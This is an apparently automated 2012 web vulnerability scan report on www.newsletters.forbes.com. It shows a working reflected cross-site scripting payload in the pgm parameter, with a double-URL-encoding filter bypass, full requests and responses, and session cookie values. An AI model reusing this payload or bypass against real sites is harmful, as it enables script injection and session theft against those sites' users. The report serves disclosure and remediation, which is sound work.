XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, www.newsletters.forbes.com

Report generated by XSS.Cx at Mon Jan 23 10:52:42 CST 2012.



1. Cross-site scripting (reflected)

2. Cookie without HttpOnly flag set

3. Content type incorrectly stated



1. Cross-site scripting (reflected)

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.newsletters.forbes.com
Path:   /DRHM/servlet/ControllerServlet

Issue detail

The value of the pgm request parameter is copied into an HTML comment. The payload 3a868%252d%252d%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef05cef02008 was submitted in the pgm parameter. This input was echoed as 3a868--><script>alert(1)</script>f05cef02008 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context. There is probably no need to perform a second URL-decode of the value of the pgm request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /DRHM/servlet/ControllerServlet?Action=DisplayMainPage&SiteID=es_764&pgm=447644003a868%252d%252d%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef05cef02008 HTTP/1.1
Host: www.newsletters.forbes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: ORA_WX_SESSION="10.2.2.217:516-0#0"; path=/
Set-Cookie: JSESSIONID=BF38F2694CC001F4F435C09898BA5568; path=/
Set-Cookie: VISITOR_ID=971D4E8DFAED43676E9A46A253FEEBE9A87175C708A3F172; expires=Wed, 02-Jan-2013 08:54:54 GMT; path=/
Set-Cookie: es_764.pgm="447644003a868--><script>alert(1)</script>f05cef02008"; expires=Tue, 03-Jan-2012 05:53:42 GMT; path=/
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=116127828932,0)
Content-Length: 120979
Date: Tue, 03 Jan 2012 03:05:42 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc2app98
Connection: close
Set-Cookie: BIGipServerp-drh-dc2pod9-pool1-active=3640787466.516.0000; path=/


<!-- REQUEST ID: TIME=1325559942764:NODE=c2a9802:THREAD=78 -->
<html>


<!-- BEGIN TOPHEADER -->
<head>
<title>


Forbes Online Store - Welcome


</title>


...[SNIP]...
<!-- ProgramID Variable if no Session = 447644003a868--><script>alert(1)</script>f05cef02008 -->
...[SNIP]...

2. Cookie without HttpOnly flag set

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.newsletters.forbes.com
Path:   /DRHM/servlet/ControllerServlet

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /DRHM/servlet/ControllerServlet HTTP/1.1
Host: www.newsletters.forbes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Location: http://www.newsletters.forbes.com/store
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=116127819679,0)
Content-Length: 0
Date: Tue, 03 Jan 2012 03:05:29 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc2app96
Connection: close
Set-Cookie: BIGipServerp-drh-dc2pod9-pool1-active=2164392458.516.0000; path=/


3. Content type incorrectly stated

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.newsletters.forbes.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.newsletters.forbes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: OAX=riTaAk8CL7EACG5x; __unam=1e2567e-134a08a5e1f-5071d010-1; ORA_WX_SESSION="10.2.2.217:516-0#0"; JSESSIONID=BF38F2694CC001F4F435C09898BA5568; VISITOR_ID=971D4E8DFAED43676E9A46A253FEEBE9A87175C708A3F172; es_764.pgm="447644003a868--><script>alert(1)</script>f05cef02008"; BIGipServerp-drh-dc2pod9-pool1-active=3640787466.516.0000; fcOOS=fcOptOutChip=undefined; fcC=X=C924985804&Y=1325606891766&FV=-1&H=1325606891657&Z=0&LPN=Home Page&E=2283193&F=0; fcP=C=0&T=1325606891766&DTO=1325606891657&U=924985804&V=1325606891657; fcR=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue; fcPT=http%3A//www.newsletters.forbes.com/DRHM/servlet/ControllerServlet%3FAction%3DDisplayMainPage%26SiteID%3Des_764%26pgm%3D447644003a868%25252d%25252d%25253e%25253cscript%25253ealert%2525281%252529%25253c%25252fscript%25253ef05cef02008
Content-Length: 10


Response

HTTP/1.1 200 OK
ETag: "37e-4b6b21a0"
Content-Type: text/plain
Last-Modified: Thu, 04 Feb 2010 19:36:00 GMT
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (H;max-age=28800+0;age=550;ecid=141945718457,0)
Content-Length: 894
Date: Wed, 07 Dec 2011 16:12:40 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc2app98
Accept-Ranges: bytes

..............h.......(....... ...............H...H...........................................................VVW        
       
       
                                                                                       .....tOL+.        
       
       
                                       ...Q.        

...[SNIP]...

Report generated by XSS.Cx at Mon Jan 23 10:52:42 CST 2012.